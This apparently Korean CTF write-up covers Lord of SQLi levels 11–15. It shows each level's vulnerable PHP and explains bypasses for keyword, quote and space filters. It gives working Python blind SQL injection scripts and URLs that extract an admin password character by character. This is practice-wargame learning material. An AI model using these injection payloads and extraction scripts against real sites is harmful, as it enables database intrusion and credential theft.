Home Lord Of SQL (11번~15번)
Post
Cancel

Lord Of SQL (11번~15번)

LOS 11~15번

11번 golem

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 
  highlight_file(__FILE__); 
?>

벤된 글자들을 보면 or, and, substr, =이 있다.
나머지는 7번과 비슷한 형태의 blind SQLi 문제이다.

우선 or은 ||로, pw의 길이 같은 경우에는 length(pw)와 부등호로 잡을 수 있다.

1
https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw=%27||length(pw)>7%23

그리고

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import string
import requests

my_cookies = dict(PHPSESSID="1rcr9hmc456an899cegncn1c61")
idLength = 15
url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"
abc = string.digits + string.ascii_letters

print("Start Blind attack")
result = ""

for i in range(1, idLength + 1):
    for a in abc:
        # LIKE 사용 (= 대신)
        param = "?pw='||ASCII(MID(pw," + str(i) + ",1))like(" + str(ord(a)) + ")%23"
        
        new_url = url + param
        res = requests.get(new_url, cookies=my_cookies)
        
        if res.text.find("<h2>Hello admin</h2>") > 0:
            print(str(i) + "번째 char is: " + a)
            result += a
            break

print("result: " + result)

’=’ 대신에 like을 쓰고, substr 대신 MID를 쓰면 우회가 간단하게 된다.

12번 darkknight

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); 
  highlight_file(__FILE__); 
?>

pw와 no 둘 다 싱글 쿼터는 사용할 수 없고 그래도 no 뒤에 ||를 삽입해서 우회는 가능하다.

1
https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?pw=admin&no=1||1%23

image

이후는 또 blindSQLi가 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import string
import requests

my_cookies = dict(PHPSESSID="1rcr9hmc456an899cegncn1c61")
url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
abc = string.digits + string.ascii_letters

print("=== Step 1: Finding admin pw length ===")
idLength = 0

for length in range(1, 30):
    param = "?pw=admin&no=3||id like 0x61646d696e%26%26length(pw) like " + str(length) + "%23"
    new_url = url + param
    res = requests.get(new_url, cookies=my_cookies)
    
    if res.text.find("<h2>Hello admin</h2>") > 0:
        idLength = length
        print(f"admin pw length: {idLength}")
        break

if idLength == 0:
    print("Length not found!")
    exit()

print("\n=== Step 2: Finding admin pw ===")
result = ""

for i in range(1, idLength + 1):
    for a in abc:
        # MID + CHAR로 우회
        param = "?pw=admin&no=3||id like 0x61646d696e%26%26MID(pw," + str(i) + ",1) like CHAR(" + str(ord(a)) + ")%23"
        
        new_url = url + param
        res = requests.get(new_url, cookies=my_cookies)
        
        if res.text.find("<h2>Hello admin</h2>") > 0:
            print(f"{i}번째 char is: {a}")
            result += a
            break

print(f"\n=== Result ===")
print(f"admin pw: {result}")

ascii는 mid+char로 우회가 간단하게 된다.

이렇게 sqli CTF 풀다보면 LLM이 우회 방법도 나름 잘 찾아주는데 꼭 한개씩 틀릴때가 있다.
지금도 LLM 코드는 \&\&로 넣어서 오류가 났는데 %26%26으로 줘야 한다.
대충 LLM이 코드를 짜주면 사람이 슥슥 보면서 고치는 것이 실력인 것 같기두 하고

13번 bugbear

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 
  highlight_file(__FILE__); 
?>

또 blind SQLi이다.
아까랑 다르게 하면 공백을 %09로 위회하고, 싱글 쿼터만 필터링이나까 더블 쿼터로 우회한다
그리고 like은 in () 을 통해서 우회를 하면 해결이 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import string
import requests

my_cookies = dict(PHPSESSID="1rcr9hmc456an899cegncn1c61")
url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
abc = string.digits + string.ascii_letters

print("=== Step 1: Finding admin pw length ===")
idLength = 0

for length in range(1, 30):
    param = "?pw=1&no=1||id%09in%09(%22admin%22)%26%26length(pw)%09in%09(" + str(length) + ")%23"
    new_url = url + param
    res = requests.get(new_url, cookies=my_cookies)
    
    if res.text.find("<h2>Hello admin</h2>") > 0:
        idLength = length
        print(f"admin pw length: {idLength}")
        break

if idLength == 0:
    print("Length not found!")
    exit()

print("\n=== Step 2: Finding admin pw ===")
result = ""

for i in range(1, idLength + 1):
    for a in abc:
        # MID + CHAR로 우회
        param = "?pw=admin&no=3||id%09in%09(%22admin%22)%26%26MID(pw," + str(i) + ",1)%09in%09(CHAR(" + str(ord(a)) + "))%23"
        
        new_url = url + param
        res = requests.get(new_url, cookies=my_cookies)
        
        if res.text.find("<h2>Hello admin</h2>") > 0:
            print(f"{i}번째 char is: {a}")
            result += a
            break

print(f"\n=== Result ===")
print(f"admin pw: {result}")

전체적인 쿼리는

1
2
3
4
https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?pw=1&no=1||id%09in%09(%22admin%22)%26%26length(pw)%09in%09(8)

-> 
https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?pw=1&no=1||id in ("admin")%26%26length(pw) in (8)

이런 느낌을 통해서 된다.

14번 giant

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(strlen($_GET[shit])>1) exit("No Hack ~_~"); 
  if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe"); 
  $query = "select 1234 from{$_GET[shit]}prob_giant where 1"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result[1234]) solve("giant"); 
  highlight_file(__FILE__); 
?>

코드를 보면 공백 관련한 글자들을 필터링하고 있다.

shift에 들어가는 값은 길이가 1이어야 하고, 들어가는 쿼리에 영향을 주면 안되는 것 같다.
그러면 넣을 수 있는 것은 %0b, %0c가 있다.
%00 NULL 문자는 문자열 종료자로 처리되기 때문에 문자열을 끊어버려서 안된다고 한다.

15번 assassin

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_assassin where pw like '{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("assassin"); 
  highlight_file(__FILE__); 
?>

pw에 값을 넣을 수 있고, 싱글 쿼터 필터링이 있다.
like 구문에 값을 넣을 수 있는데 like는 \% 문자를 와일드카드로 사용할 수 있다.
또 _문자를 한 문자라는 의미로 사용할 수 있다.

image

이렇게 %를 넣으면 hello guest를 확인할 수 있다.
이것을 응용하면 길이와 값을 구할 수 있다.

중요한 것은 guest와 admin을 구별할 수 없기 때문에 admin이 나오는 순간을 잘 찾아야 한다.
지금 같은 경우에는 90까지는 같고, 3번째 글자가 d와 2로 분기되어서 guest와 admin이 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import string
import requests

my_cookies = dict(PHPSESSID="1rcr9hmc456an899cegncn1c61")
url = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
abc = string.digits + string.ascii_letters

print("=== Step 1: Finding admin pw length ===")
idLength = 0

for length in range(1, 30):
    # _ 를 length 개수만큼 반복하여 길이 확인
    param = "?pw=" + "_" * length
    new_url = url + param
    res = requests.get(new_url, cookies=my_cookies)
    
    if res.text.find("<h2>Hello guest</h2>") > 0:
        # 한 글자 더 추가했을 때 매칭 안되면 정확한 길이
        param_check = "?pw=" + "_" * (length + 1)
        res_check = requests.get(url + param_check, cookies=my_cookies)
        
        if res_check.text.find("<h2>Hello admin</h2>") <= 0:
            idLength = length
            print(f"admin pw length: {idLength}")
            break

if idLength == 0:
    print("Length not found!")
    exit()

print("\n=== Step 2: Finding admin pw ===")
result = ""

for i in range(1, idLength + 1):
    found = False
    for a in abc:
        # 앞부분은 이미 찾은 문자, 현재 위치는 테스트할 문자, 나머지는 _
        pattern = result + a + "_" * (idLength - i)
        param = "?pw=" + pattern
        
        new_url = url + param
        res = requests.get(new_url, cookies=my_cookies)
        
        if res.text.find("<h2>Hello guest</h2>") > 0:
            print(f"{i}번째 char is: {a}")
            result += a
            found = True

        if res.text.find("<h2>Hello admin</h2>") > 0:
            print(f"{i}번째 char is: {a}")
            result += a
            found = True
            break
    
    if not found:
        print(f"{i}번째 char not found in basic set")

print(f"\n=== Result ===")
print(f"admin pw: {result}")
1
2
=== Result ===
admin pw: 902efd10
This post is written by PRO.